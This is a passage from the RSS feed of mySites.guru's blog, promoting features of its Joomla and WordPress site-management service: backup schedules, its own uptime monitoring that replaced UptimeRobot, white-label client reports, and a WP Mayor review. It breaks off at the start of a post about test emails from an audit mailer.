&lt;h2&gt;How Often Should You Back Up?&lt;/h2&gt;
&lt;p&gt;When we migrated existing backup schedules to cron syntax, here is the backup frequency breakdown across our user base:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Backup frequency breakdown: 41% monthly, 49% weekly, 9% daily&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;538&quot; src=&quot;https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-18-1024x538.CvpRzGY9_2mHrKs.webp&quot; srcset=&quot;https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-18-1024x538.CvpRzGY9_Z8SP2Y.webp 640w, https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-18-1024x538.CvpRzGY9_1wMGK4.webp 750w, https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-18-1024x538.CvpRzGY9_O2t6C.webp 828w, https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-18-1024x538.CvpRzGY9_2mHrKs.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Take a backup before any major changes, and set a frequency that matches your risk appetite. The gap between your backups is the amount of data you stand to lose - keep that gap as small as practical.&lt;/p&gt;
&lt;h2&gt;Where should you store your backups?&lt;/h2&gt;
&lt;p&gt;Never store backups on the same server as your website: a single datacenter fire or server compromise could wipe out both your site and its backups in one go.&lt;/p&gt;
&lt;p&gt;Akeeba Backup Professional supports Amazon S3, FTP, Google Drive, and other remote storage services. Most of them cost almost nothing.&lt;/p&gt;
&lt;p&gt;For a broader look at &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduling backups, audits, and updates&lt;/a&gt;, see our dedicated scheduling guide.&lt;/p&gt;
&lt;h2&gt;What about existing schedules?&lt;/h2&gt;
&lt;p&gt;If you had backup schedules configured before the switch to cron syntax, those were automatically migrated. We took your selected profile number and daily/weekly/monthly setting, looked at the date of your last backup, and generated an equivalent cron expression.&lt;/p&gt;
&lt;p&gt;For a complete guide on fitting backups into your update and maintenance workflow, see &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>backups</category><category>akeeba</category><category>scheduling</category><category>cron</category><enclosure url="https://mysites.guru/img/og/blog/unlimited-backup-schedules.webp" length="0" type="image/webp"/></item><item><title>mySites.guru No Longer Provides UptimeRobot Status Pages</title><link>https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/</link><guid isPermaLink="true">https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/</guid><description>mySites.guru replaced UptimeRobot with its own uptime monitoring engine after UptimeRobot raised fees by 352%. Here&apos;s what changed.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru no longer integrates with &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot.com&lt;/a&gt; for uptime monitoring or status pages.&lt;/p&gt;
&lt;p&gt;We &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;built our own monitoring engine&lt;/a&gt; instead. It’s part of the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Ultimate Toolset&lt;/a&gt; included with every mySites.guru subscription, no extra cost.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Why we stopped using UptimeRobot&lt;/p&gt;
  &lt;p&gt;mySites.guru used UptimeRobot for uptime monitoring from 2012 until August 2021. After UptimeRobot was acquired by itrinity in 2019, the service suffered repeated outages and our account was terminated without warning on multiple occasions. In July 2021, the new owners tried to raise our annual fee from $6,792 to $22,416 (a 352.4% increase) with 66 days&apos; notice. We declined, and on 12th August 2021 we switched to our own custom-built monitoring engine. It handles all our monitoring at a fraction of the cost, with no third-party dependency.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The engine checks every connected site once per minute and runs three separate checks before firing an alert, so you’re not getting woken up over a false positive.&lt;/p&gt;
&lt;p&gt;If you’re wondering why you’re getting downtime alerts, we wrote a separate guide on &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;how the alerts work and what they mean&lt;/a&gt;. For a complete look at monitoring strategy for agencies, see the &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>uptime</category><category>monitoring</category><category>uptimerobot</category><category>status pages</category><enclosure url="https://mysites.guru/img/og/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers.png" length="0" type="image/png"/></item><item><title>White-Label Activity Reports for Clients</title><link>https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/</guid><description>Send automated, branded site activity reports to your clients on any schedule. Covers updates, backups, audits, uptime and more - included in every plan.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you manage Joomla or WordPress sites for clients, reporting is one of those tasks that either eats your time or doesn’t happen at all. mySites.guru’s white-label reports solve both problems: they generate automatically on whatever schedule you set and email directly to your clients from your own address.&lt;/p&gt;
&lt;h2&gt;Automated reports, on your schedule&lt;/h2&gt;
&lt;p&gt;One of the things that sets mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label reports&lt;/a&gt; apart is that you configure them once and forget about them. You can create &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;unlimited report schedules&lt;/a&gt;, each running on its own cron - daily, weekly, monthly, whatever you need - and have them emailed to as many people as you want, including your clients directly.&lt;/p&gt;
&lt;p&gt;The report period is flexible too. A few examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Monthly client report&lt;/strong&gt; - Send your client an email from your own address on the 7th of every month at 1am, with a report covering just their 2 sites plus any sites tagged “client-name”, excluding version numbers, with your logo in the header. It runs every month until you cancel it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weekly overview for yourself&lt;/strong&gt; - Send yourself a summary every Sunday of all available updates across every site in your account, using the default template.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flexible site selection&lt;/h2&gt;
&lt;p&gt;Some reporting tools only let you pick individual sites or a single tag. mySites.guru lets you combine both. Select 3 specific sites and 6 tags - the report includes those 3 sites plus every site matching any of those tags. If a site appears through multiple selections, it gets deduplicated automatically.&lt;/p&gt;
&lt;p&gt;You can use a tag per client, select individual sites per report, or mix and match however your workflow demands.&lt;/p&gt;
&lt;h2&gt;Unlimited, configurable reports&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;Report configuration list in mySites.guru showing multiple saved report schedules&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;113&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.17.57-1024x113.DjImKGtj_1ojpI8.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.17.57-1024x113.DjImKGtj_1UIgSy.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.17.57-1024x113.DjImKGtj_115hmy.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.17.57-1024x113.DjImKGtj_Z1jw2dC.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.17.57-1024x113.DjImKGtj_1ojpI8.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Create as many report configurations as you need. Each one lets you set:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Report name&lt;/strong&gt; (used as the email subject line)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Schedule or manual-only&lt;/strong&gt; - toggle between scheduled delivery and on-demand generation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cron schedule&lt;/strong&gt; - use the built-in cron builder with simple clicks, no syntax to memorise
&lt;img alt=&quot;Cron schedule builder in mySites.guru showing day-of-week and time selection&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 996px) 996px, 100vw&quot; width=&quot;996&quot; height=&quot;426&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.14.07.DrTrXBcS_Z1Ymabk.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.14.07.DrTrXBcS_1BYJik.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.14.07.DrTrXBcS_Z24Cmx3.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.14.07.DrTrXBcS_ZbTUKq.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.14.07.DrTrXBcS_Z1Ymabk.webp 996w&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Report period&lt;/strong&gt; - “since the last report ran”, between two fixed dates, or a set number of days before runtime&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site selection&lt;/strong&gt; - pick individual sites, tags, or any combination&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Report sections&lt;/strong&gt; - toggle sections on or off, hide individual log rows you don’t want&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Email recipients&lt;/strong&gt; - send to unlimited email addresses&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS configuration&lt;/strong&gt; for sending from your own domain - we walk you through SPF and DKIM setup to remove the last trace of mySites.guru from outgoing emails. You can also &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;remove the WordPress logo from the admin bar&lt;/a&gt; for a fully white-labelled admin experience
&lt;img alt=&quot;DNS configuration panel showing SPF and DKIM verification status with green ticks&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 692px) 692px, 100vw&quot; width=&quot;692&quot; height=&quot;268&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.19.49.BZ3cgVBw_AKp4Y.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.19.49.BZ3cgVBw_Z2hiTn5.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.19.49.BZ3cgVBw_AKp4Y.webp 692w&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Template customisation&lt;/strong&gt; - modify the report layout using the built-in sandboxed Twig template designer
&lt;img alt=&quot;Template designer in mySites.guru showing HTML and Twig tag editing&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1500px) 1500px, 100vw&quot; width=&quot;1500&quot; height=&quot;554&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.18.59.DNhvGmA6_2rq8q7.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.18.59.DNhvGmA6_Z1HmPbj.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.18.59.DNhvGmA6_Z1iVPu9.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.18.59.DNhvGmA6_Z1f3EKa.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.18.59.DNhvGmA6_Z24yiXb.webp 1080w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.18.59.DNhvGmA6_Z1gQsI6.webp 1280w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.18.59.DNhvGmA6_2rq8q7.webp 1500w&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Can you send reports from your own email address?&lt;/h2&gt;
&lt;p&gt;If you’re sending monthly reports to clients, you probably don’t want them coming from a mySites.guru address. We get that.&lt;/p&gt;
&lt;p&gt;Setting up SPF and DKIM DNS records for your domain lets mySites.guru send emails that appear to come from your own address. The setup is guided - follow the instructions, get three green ticks, and from that point on every report email is sent “from” you.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;DNS configuration showing SPF and DKIM verification with green status indicators&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 692px) 692px, 100vw&quot; width=&quot;692&quot; height=&quot;268&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.19.49.BZ3cgVBw_AKp4Y.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.19.49.BZ3cgVBw_Z2hiTn5.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.19.49.BZ3cgVBw_AKp4Y.webp 692w&quot; /&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;No mail credentials needed&lt;/p&gt;
  &lt;p&gt;mySites.guru does not need your email password, mail server details, or mailbox access. The SPF and DKIM records authorise our mail servers to send on your domain&apos;s behalf - that&apos;s all.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What does the report contain?&lt;/h2&gt;
&lt;p&gt;Every section is toggleable - include only what matters for each client. The main sections are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Site screenshot&lt;/li&gt;
&lt;li&gt;Uptime summary and uptime log&lt;/li&gt;
&lt;li&gt;Extension updates available&lt;/li&gt;
&lt;li&gt;Backup information&lt;/li&gt;
&lt;li&gt;Site activity log&lt;/li&gt;
&lt;li&gt;CMS and PHP version numbers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The site activity log captures events like admin logins and logouts, user modifications, file changes, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;security audits&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;extension upgrades&lt;/a&gt;, backup events, &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;downtime events&lt;/a&gt;, extension installs and removals, tool applications, and configuration changes.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Example site activity log table in a mySites.guru report showing timestamped events&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;461&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.36.13-1024x461.ClSoimdF_Z1q5WGl.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.36.13-1024x461.ClSoimdF_Z2tJ04R.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.36.13-1024x461.ClSoimdF_YcqJK.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.36.13-1024x461.ClSoimdF_2rnVYp.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.36.13-1024x461.ClSoimdF_Z1q5WGl.webp 1024w&quot; /&gt;&lt;em&gt;Example site activity log&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Example uptime monitor summary showing response time graph and uptime percentage&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;360&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.41.50-1024x360.DDytqz4H_Z1SlWSv.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.41.50-1024x360.DDytqz4H_Zf9gLR.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.41.50-1024x360.DDytqz4H_Z2rbzhX.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.41.50-1024x360.DDytqz4H_2j2ro1.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.41.50-1024x360.DDytqz4H_Z1SlWSv.webp 1024w&quot; /&gt;&lt;em&gt;Example uptime summary&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Customise the template with HTML and Twig&lt;/h2&gt;
&lt;p&gt;The built-in template designer lets you modify the standard report template using HTML and &lt;a href=&quot;https://twig.symfony.com&quot;&gt;Twig&lt;/a&gt; &lt;code&gt;{{ placeholder }}&lt;/code&gt; tags. If you can write HTML, you can fully brand the report - change the layout, add your logo, adjust colours, restructure sections.&lt;/p&gt;
&lt;p&gt;For more on the template designer, see our guide to &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;creating custom white-label report templates&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru report template designer showing HTML editor with Twig variables&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;855&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-14.07.10-1024x855.DzuDlsH-_Z1jKUqa.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-14.07.10-1024x855.DzuDlsH-_Z21FS90.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-14.07.10-1024x855.DzuDlsH-_1FzaCs.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-14.07.10-1024x855.DzuDlsH-_hGjB2.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-14.07.10-1024x855.DzuDlsH-_Z1jKUqa.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Why HTML instead of PDF?&lt;/h2&gt;
&lt;p&gt;Generating PDFs that look good across all page sizes, handle variable-length data tables, and work on every device is surprisingly painful. PDFs are page-size-specific (A4 in the UK, Letter in the US), and require readers to have PDF software installed.&lt;/p&gt;
&lt;p&gt;HTML has none of these problems:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every email client renders HTML&lt;/li&gt;
&lt;li&gt;HTML is responsive on mobile devices&lt;/li&gt;
&lt;li&gt;HTML is fully customisable by you&lt;/li&gt;
&lt;li&gt;Print stylesheets handle the “I need a hard copy” case&lt;/li&gt;
&lt;li&gt;Reports are attached as downloadable &lt;code&gt;.html&lt;/code&gt; files you can archive or forward&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Where do you find reports in mySites.guru?&lt;/h2&gt;
&lt;p&gt;Reports live under the &lt;strong&gt;Scheduled Actions&lt;/strong&gt; section in the left menu. You can also press &lt;code&gt;r&lt;/code&gt; on your keyboard when logged in to jump straight to the &lt;a href=&quot;https://manage.mysites.guru/en/reports/&quot;&gt;reports page&lt;/a&gt;, or use the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; with Cmd+K and type “reports”.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru left navigation showing the Scheduled Actions menu with Reports highlighted&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 488px) 488px, 100vw&quot; width=&quot;488&quot; height=&quot;362&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.46.21.DQi_jR7r_84Upm.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.46.21.DQi_jR7r_84Upm.webp 488w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How much do unlimited client reports cost?&lt;/h2&gt;
&lt;p&gt;Nothing extra. White-label reporting is included in every &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscription&lt;/a&gt; at no additional charge. Same goes for every other feature - you get the full platform with unlimited sites.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;&lt;img alt=&quot;mySites.guru pricing page showing subscription tiers with all features included&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;741&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.49.11-1024x741.EWh0pmUi_IcqNn.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.49.11-1024x741.EWh0pmUi_ZEuf8l.webp 640w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.49.11-1024x741.EWh0pmUi_Z2CayN.webp 750w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.49.11-1024x741.EWh0pmUi_Zc3OWb.webp 828w, https://mysites.guru/_astro/Screenshot-2020-04-18-at-13.49.11-1024x741.EWh0pmUi_IcqNn.webp 1024w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Can you download and archive your reports?&lt;/h2&gt;
&lt;p&gt;Every scheduled report email includes the report as an attached HTML file. You can download it, archive it, forward it, or edit it outside of mySites.guru. You can also download report files directly from the reports page in your account using the download button.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;White-label reporting is part of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>reports</category><category>white-label</category><category>agency tools</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/img/og/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites.webp" length="0" type="image/webp"/></item><item><title>WP Mayor&apos;s Five-Star Review of mySites.guru for WordPress</title><link>https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/</guid><description>WP Mayor gave mySites.guru a five-star rating after a month of hands-on testing. Here&apos;s what reviewer Kevin Wood found.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>
&lt;p&gt;In March 2024, the well-known WordPress blog &lt;a href=&quot;https://wpmayor.com&quot;&gt;WP Mayor&lt;/a&gt; published an independent review of mySites.guru.&lt;/p&gt;
&lt;p&gt;We gave them complete access to the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;full toolset&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; for almost a month, with &lt;a href=&quot;https://wpmayor.com/disclosure/&quot;&gt;full permission to write whatever they wanted&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The reviewer was &lt;a href=&quot;https://wpmayor.com/author/kevin-wood/&quot;&gt;Kevin Wood&lt;/a&gt;, who has over 10 years of WordPress experience.&lt;/p&gt;
&lt;p&gt;Kevin liked what he saw, and goes into detail in the review. The only correction we asked for was the price currency conversion - &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru is GBP 19.99 per month&lt;/a&gt;, roughly USD $28 for unlimited sites.&lt;/p&gt;
&lt;h2&gt;Where can you read the WP Mayor review of mySites.guru?&lt;/h2&gt;
&lt;p&gt;You can read the complete review here: &lt;a href=&quot;https://wpmayor.com/mysites-guru-review/&quot;&gt;mySites.guru Review on WP Mayor&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This review was performed as part of a paid product analysis. &lt;a href=&quot;https://wpmayor.com/disclosure/&quot;&gt;Here’s why you can trust their verdict&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;WP Mayor&apos;s five-star review page for mySites.guru showing the full feature breakdown&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 910px) 910px, 100vw&quot; width=&quot;910&quot; height=&quot;766&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.30.DEgrN6QZ_13po2W.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.30.DEgrN6QZ_UOijc.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.30.DEgrN6QZ_Z2adWtE.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.30.DEgrN6QZ_ZPXQSU.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.30.DEgrN6QZ_13po2W.webp 910w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The review covers the core mySites.guru features: &lt;a href=&quot;https://mysites.guru/&quot;&gt;managing multiple WordPress sites in one dashboard&lt;/a&gt;, the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit toolset&lt;/a&gt;, individual site management, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;WordPress site audit&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin upgrades&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label reporting&lt;/a&gt;, and our &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Learn More best-practice pages&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What are our thoughts on the review?&lt;/h2&gt;
&lt;p&gt;The review sums up the mySites.guru service well.&lt;/p&gt;
&lt;p&gt;Handing someone free rein to write whatever they want about a project you’ve poured over a decade into? Nerve-wracking. But I’m pleased the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features of mySites.guru&lt;/a&gt; and the support I provide came through.&lt;/p&gt;
&lt;p&gt;There’s always stuff to improve. I’m here day in, day out working on it, and the price hasn’t changed since 2012.&lt;/p&gt;
&lt;p&gt;Kevin noted that parts of mySites.guru can feel complex for beginners. Fair enough. It’s built for digital agencies that &lt;a href=&quot;https://mysites.guru/&quot;&gt;manage dozens or hundreds of WordPress sites&lt;/a&gt; - not someone spinning up their first blog.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;WP Mayor review excerpt highlighting mySites.guru&apos;s dashboard and management capabilities&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1730px) 1730px, 100vw&quot; width=&quot;1730&quot; height=&quot;796&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.38.KY1puKvS_Z22RaId.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.38.KY1puKvS_Z2cFR4q.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.38.KY1puKvS_Z19NusM.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.38.KY1puKvS_Zgb7k7.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.38.KY1puKvS_Z1zyksc.webp 1080w, https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.38.KY1puKvS_Z2rcauL.webp 1280w, https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.38.KY1puKvS_1HxdBd.webp 1668w, https://mysites.guru/_astro/ScreenShot-2024-03-11-13.03.38.KY1puKvS_Z22RaId.webp 1730w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Want to try mySites.guru free for a whole month?&lt;/h2&gt;
&lt;p&gt;Get started with a &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;free first month&lt;/a&gt; - no credit card required.&lt;/p&gt;
&lt;h2&gt;Want a free personal site audit of your WordPress site?&lt;/h2&gt;
&lt;p&gt;Run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on your WordPress site and see what mySites.guru finds.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>reviews</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/wp-mayor-review-of-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Emails from AuditMailerTest@myjoomla.io</title><link>https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/</link><guid isPermaLink="true">https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/</guid><description>Explains why you may receive test emails from AuditMailerTest@myjoomla.io and what they mean for your mySites.guru audit notifications.</description><pubDate>Tue, 12 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Several people have noticed emails from &lt;a href=&quot;mailto:AuditMailerTest@myjoomla.io&quot;&gt;AuditMailerTest@myjoomla.io&lt;/a&gt; in their Mail sent items.&lt;/p&gt;
